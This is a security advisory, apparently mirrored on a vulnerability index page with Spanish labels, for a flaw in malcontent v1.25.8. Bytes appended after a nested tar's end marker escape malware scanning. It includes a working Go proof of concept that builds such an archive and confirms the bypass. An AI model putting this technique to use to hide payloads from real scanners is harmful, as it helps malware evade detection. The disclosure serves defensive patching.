GHSA-FHHV-5R7X-FGJW
malcontent archive scanning bypass via unvalidated trailing tar data
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-FHHV-5R7X-FGJW divulgada · CVSS 6.5 (GitHub) | |
| Remediación | Parche v1.25.9 | github.com/chainguard-dev/malcontent · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`malcontent` v1.25.8 drops trailing bytes appended after a nested tar archive's end-of-archive marker. `ExtractTar` reports success, so the nested archive is deleted and the appended bytes never enter the YARA scan corpus.
Affected version tested:
malcontent v1.25.8
commit da07c3f6bb972d148f7647c696db45ca9aec1d32Details
`extractNestedArchive` removes the nested archive when extraction returns nil. However, Go's `archive/tar` reader stops at the two zero blocks marking the end of the archive, and `ExtractTar` treats that termination as success without checking trailing data. A valid tar followed by a malicious payload therefore takes the deletion path, leaving the payload outside the scan corpus.
Relevant code in the tested commit:
- `pkg/archive/archive.go` — `extractNestedArchive` (retention guard `if err == nil { os.Remove(fullPath) }`)
- `pkg/archive/tar.go` — `ExtractTar` (`io.EOF`/`io.ErrUnexpectedEOF` treated as success, trailing bytes never consumed)
PoC
The following external consumer of `archive.ExtractArchiveToTempDir` creates an outer `tar.gz` containing a nested tar with a payload appended after its end marker, then checks whether the nested archive and marker remain after extraction.
mkdir -p probe
cat > probe/main.go <<'EOF'
package main
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
"fmt"
"io/fs"
"os"
"path/filepath"
"strings"
"github.com/chainguard-dev/malcontent/pkg/archive"
"github.com/chainguard-dev/malcontent/pkg/malcontent"
)
const marker = "MALICIOUS_BYPASS_PAYLOAD_9f2c7a1e"
func main() {
// nested evil.tar: valid tar (benign entry + zero-block marker) + payload appended AFTER the marker
var buf bytes.Buffer
tw := tar.NewWriter(&buf)
tw.WriteHeader(&tar.Header{Name: "benign.txt", Mode: 0o600, Size: int64(len("benign-content"))})
tw.Write([]byte("benign-content"))
tw.Close()
evilTar := append(buf.Bytes(), []byte("#!/bin/sh\n# "+marker+"\necho hidden payload\n")...)
// outer.tar.gz containing the nested evil.tar
f, _ := os.Create("outer.tar.gz")
gw := gzip.NewWriter(f)
tw2 := tar.NewWriter(gw)
tw2.WriteHeader(&tar.Header{Name: "evil.tar", Mode: 0o600, Size: int64(len(evilTar))})
tw2.Write(evilTar)
tw2.Close()
gw.Close()
f.Close()
cfg := malcontent.Config{ExitExtraction: false} // production default
root, err := archive.ExtractArchiveToTempDir(context.Background(), cfg, "outer.tar.gz")
if err != nil {
fmt.Println("FIX_HELD:", err)
os.Exit(0)
}
defer os.RemoveAll(root)
found := false
filepath.WalkDir(root, func(p string, d fs.DirEntry, err error) error {
if err == nil && !d.IsDir() {
if data, e := os.ReadFile(p); e == nil && bytes.Contains(data, []byte(marker)) {
found = true
}
}
return nil
})
fmt.Printf("nested evil.tar retained: %v\n", fileExists(root, "evil.tar"))
fmt.Printf("payload marker found in scan corpus: %v\n", found)
if !found {
fmt.Println("BYPASS_CONFIRMED: hidden payload escaped the scan corpus despite the fix")
os.Exit(42)
}
fmt.Println("FIX_HELD: hidden payload was retained and scanned")
}
func fileExists(root, name string) bool {
found := false
filepath.WalkDir(root, func(p string, d fs.DirEntry, err error) error {
if err == nil && !d.IsDir() && filepath.Base(p) == name {
found = true
}
return nil
})
return found
}
EOF
cd malcontent && git checkout v1.25.8
go build -o probe/probe probe/main.go
./probe/probe
echo "exit code: $?"Expected output on v1.25.8 (bypass reproduced):
nested evil.tar retained: false
payload marker found in scan corpus: false
BYPASS_CONFIRMED: hidden payload escaped the scan corpus despite the fix
exit code: 42Impact
An attacker who can submit an archive for scanning can hide a YARA-detectable payload after a nested tar's end marker. The archive is deleted as successfully processed, evading malware detection. `ExtractTar` should detect non-zero trailing data and retain the archive for scanning.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/chainguard-dev/malcontent |
Corregida | v1.25.9 | 0 d | v1.28.1 no afectada |
1.25.9v1.25.9Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/chainguard-dev/malcontent/security/advisories/GHSA-fhhv-5r7x-fgjwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
